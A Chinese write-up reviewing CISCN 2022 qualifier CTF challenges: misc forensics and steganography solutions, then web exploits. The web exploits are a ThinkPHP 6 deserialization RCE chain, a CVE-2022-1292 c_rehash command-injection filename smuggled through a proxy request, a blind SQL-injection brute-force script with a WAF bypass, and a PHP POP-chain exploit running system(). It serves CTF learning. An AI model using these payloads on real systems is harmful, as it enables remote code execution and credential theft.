【CISCN2022】复盘write up

前言

比赛结束快一个月过去了,一直想做个ciscn的复盘,现在终于有时间整起来了,那就把初赛的web、misc做一个复盘吧,复盘平台NSSCTF。

misc

ez_usb

是一个usb的流量包,看特征是键盘的usb,直接进行提取是一个rar的压缩包,但是我们发现压缩包的格式是错误的,观察hex发现存在多余字符。
重新观察流量包,发现存在字符的版本有2.8.1和2.10.1两种,因此猜测需要分开导出。
2.8.1,导出后是一个压缩包:

2.10.1,导出后是压缩包密码:

解压压缩包即可得到flag。

everlasting_night

题目的附件只有一张图,给了提示这题存在LSB,且ARGB中存在LSB密码。那么使用stegslove查看颜色通道,最后在Alpha plane2中发现列隐藏数据。那么使用Data Extract进行提取:

找到了LSB的密码,使用cloacked-pixel解密,得到一个压缩包:

发现压缩包是加密的,再翻阅原图片的hex,发现最后有一串奇怪的字符串,经测试是MD5,使用somd5解密得到压缩包密码:

解压出来是一个data文件,直接导入进GIMP中,获得flag:

babydisk

附件里给了一个vmdk文件,直接扔进取证大师里,首先发现存在一个wav文件,导出后进行测试,发现存在deepsound加密,那么爆破密码:

得到密码feedback,使用deepsound解密得到key.txt:

1
e575ac894c385a6f

接下来回到取证大师,发现存在被删除文件,同样将该文件导出,这里测试发现应该使用VeraCrypt工具进行加载,密码就是这个key。加载后我们得到了一个名为spiral的文件,hex是一个zip文件。但是里面的图片损坏了,根据文件名螺旋的含义,估计是要将hex进行螺旋操作。我们网上找一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def function(n):
matrix = [[0] * n for _ in range(n)]

number = 1
left, right, up, down = 0, n - 1, 0, n - 1
while left < right and up < down:
# 从左到右
for i in range(left, right):
matrix[up][i] = number
number += 1

# 从上到下
for i in range(up, down):
matrix[i][right] = number
number += 1

# 从右向左
for i in range(right, left, -1):
matrix[down][i] = number
number += 1

for i in range(down, up, -1):
matrix[i][left] = number
number += 1
left += 1
right -= 1
up += 1
down -= 1
# n 为奇数的时候,正方形中间会有个单独的空格需要单独填充
if n % 2 != 0:
matrix[n // 2][n // 2] = number
return matrix

f = open('spiral.zip','rb').read()
s = function(87)
# print(s)
s = sum(s,[])
#print(s)

f1 = open('fla.zip','wb')
arr = [0]*7569
# print(arr)
for i in range(len(s)):
arr[i] = f[s[i]-1]
#print(arr)
# print(arr)
for i in arr:
print(hex(i)[2:].zfill(2),end='')

得到一个新的压缩包,里面有一张图:

49个字符,7行7列,将第一行去掉后,进行从最右边开始上到下的螺旋操作,最后得到flag。

web

ezpop

thinkphp的框架,控制器中存在反序列化,再一看原来是学长挖的洞:
ThinkPHP6.0.12LTS反序列漏洞分析

那就比较简单了,有现成的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
<?php

namespace think\model\concern;

trait Attribute
{
private $data = ["key" => ["key1" => "cat /flag.txt"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;

abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

最后在index.php/index/test中传入即可获取flag。

online_crt

项目的组成是python+go,先看题目源码。
首先是python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()

app.run(host="0.0.0.0", port=8888)

可以看到python这部分有4个路由:

  • /:主界面
  • /getcrt:生成一个证书
  • /createlink:调用c_rehash创建证书链接
  • /proxy:访问go语言的内网环境

接着是go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package main

import (
"github.com/gin-gonic/gin"
"os"
"strings"
)

func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}

func index(c *gin.Context) {
c.String(200, "hello world")
}

func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)

if err := router.Run(":8887"); err != nil {
panic(err)
}
}

可以看到go语言里只有一个admin路由,功能是重命名证书。

这题设计的考点是CVE-2022-1292。我们首先访问/getcrt路由,生成一个证书,返回证书路径:

1
static/crt/b9f56972-a301-4ed0-8d46-fbdf41fb064e.crt

接下来我们将这个证书的名称更改,使用老的证书把flag带到a.txt中去,payload:

1
`echo "Y2F0IC9mbGFnID4gYS50eHQ=" | base64 -d | bash`.crt

构造发包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
GET /proxy HTTP/1.1
Host: 1.14.71.254:28507
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5FhbXcy21j5NxtoY
Content-Length: 478

------WebKitFormBoundary5FhbXcy21j5NxtoY
Content-Disposition: form-data; name="uri"

/ HTTP/1.1
Host: admin
Connection: keep-alive

GET /admin%2frename?oldname=ffe891ef-d54b-4258-bdc7-9c89111daa4d.crt&newname=%60%65%63%68%6f%20%22%59%32%46%30%49%43%39%6d%62%47%46%6e%49%44%34%67%59%53%35%30%65%48%51%3d%22%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%60%2e%63%72%74 HTTP/1.1
Host: admin
Connection: close

GET /
------WebKitFormBoundary5FhbXcy21j5NxtoY--

访问/creatlink,将flag带入,最后访问/static/crt/a.txt即可获取到flag。

ezpentest

首先进来是一个登录框,题目也给出了waf:

1
2
3
4
5
6
7
8
<?php
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}

?>

这里的payload和虎符杯的那题sql的payload类似:

1
0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'
  • 利用like去正则匹配password这一列的数据,如果匹配到就返回9223372036854775807+1 这个表达式,而这个表示执行后会导致数据溢出,服务器会报500,否则就返回’0’,服务器会报error
  • +’’是因为过滤了空白符号,所以用来连接起sql语句的,这里的数据溢出同样可以用18446744073709551615+1,这个18446744073709551615的值其实就是0,也就是说这个payload其实就是0+1
  • utf8mb4_bin是用来区分大小写的,因为like正则匹配是不区分大小写的
  • case用来解决优先级问题

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import string
payload="0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
#这里过滤了取反,所以要用9223372036854775807+1这个也可以18446744073709551615+1来代替溢出
list = string.ascii_letters + string.digits + '^$!_%@&'

proxies={
'http':'http://127.0.0.1:8080'
} #这里是可以通过走代理来看下自己打进去的payload有没有啥问题。
url = 'http://1.14.71.254:28373/login.php'
j=''
while 1:
for i in list:
if (i in '%_'): #这里是对like正则匹配中的一些特殊符号进行转义,这里很重要,不然注出来的结果都不行。
i = "\\" + i
now_payload=payload.format(j+i)
date={
'password': now_payload,
'username': 'aaa'
}
print(now_payload)
re = requests.post(url,data=date)

print(re.text)
if re.status_code==500:

print("ok")
j+=i
print(j)
break

# nssctfwabbybaboo!@$%!!
# PAssw40d_Y0u3_Never_Konwn!@!!

登陆后发现一堆被混淆的php指令,根据页面上的提示访问1Nd3x_Y0u_N3v3R_Kn0W.php:

1
b; $checker = new ReflectionClass(get_class($b)); if(basename($checker->getFileName()) != 'SomeClass.php'){ if(isset($b->a)&&isset($b->b)){ ($b->a)($b->b.""); } } } } class B { public $a; public $b; public function __toString() { $this->a->see(); return "1"; } } class C { public $a; public $b; public function __toString() { $this->a->read(); return "lock lock read!"; } } class D { public $a; public $b; public function read() { $this->b->learn(); } } class E { public $a; public $b; public function __invoke() { $this->a = $this->b." Powered by PHP"; } public function __destruct(){ //eval($this->a); ??? 吓得我赶紧把后门注释了 //echo "???"; die($this->a); } } class F { public $a; public $b; public function __call($t1,$t2) { $s1 = $this->b; $s1(); } } ?> 

访问SomeClass.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}

?>

解密花指令
https://github.com/wenshui2008/phpjiami_decode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if(!isset($_SESSION['login'])){
die();
}
function Al($classname){
include $classname.".php";
}

if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
$o = unserialize($c);
if($o === false) {
die("Error Format");
}else{
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
echo file_get_contents("SomeClass.php");
}

那这里就是利用pop反序列化了,入口点在class E,die方法中是字符串处理,让a为对象会触发__toString方法,在类A中,我们只需要令b为原生类,a参数和b参数都是可控的就可以rce了。
链子的触发点就是1Nd3x_Y0u_N3v3R_Kn0W.php文件,但是如果我们想把可以rce的文件包含进来,就要创建一个SomeClass类,而这里对some进行了过滤。
我们只需要让include $classname.”.php”将文件包含的同时直接进入那个destrust方法销毁,这里可以利用gc回收机制。我们将数组索引置为0,这样就会失去上一个对象的引用从而进入destrust。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php

class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}

class SomeClass{
public $a;
}

$e = new E();
$a = new A();
$b = new B();

$e->a = $b;
$b->a = $a;
$arr = new ArrayObject();
$arr->a = "system";
$arr->b = "cat /nssctfflag";
$a->b = $arr;
$c = new SomeClass();
$c->a = $e;
echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));

//a%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SomeClass%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22E%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BC%3A11%3A%22ArrayObject%22%3A73%3A%7Bx%3Ai%3A0%3Ba%3A0%3A%7B%7D%3Bm%3Aa%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22b%22%3Bs%3A15%3A%22cat+%2Fnssctfflag%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3BN%3B%7Ds%3A1%3A%22b%22%3BN%3B%7D%7Di%3A0%3Bi%3A0%3B%7D

传参即可得到flag。